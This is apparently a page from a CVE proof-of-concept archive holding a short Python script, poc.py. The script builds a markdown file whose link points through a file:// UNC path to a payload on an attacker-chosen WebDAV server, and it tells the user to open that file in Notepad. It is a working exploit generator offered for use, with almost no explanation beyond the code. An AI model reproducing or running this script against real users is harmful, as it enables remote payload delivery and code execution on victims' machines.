4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
import os;
import sys;

def create_poc(server, port, payload_path):
  if(port <= 0 or port >= 65536):
    print('Invalid port number.', file = sys.stderr);

  f = open('poc.md', 'w');
  f.write('# PoC\n[Link](file:///\\\\%s@%d\\DavWWWRoot\\%s)\n' % (server, port, payload_path));
  f.close();

  print('Done! Run `notepad poc.md` to view the result!');
#end-def

def __main__(argv):
  if(len(argv) != 3):
    print('Usage: python %s <webdav-server-host> <port> <server/path/to/payload>' % os.path.basename(__file__));
    return;
  #end-if

  try:
    create_poc(argv[0], int(argv[1]), argv[2]);
  except Exception as err:
    print(err, file = sys.stderr);
  #end-try
#end-def

if(__name__ == '__main__'):
  __main__(sys.argv[1:]);
else:
  raise Exception('This is a standalone script!');
#end-if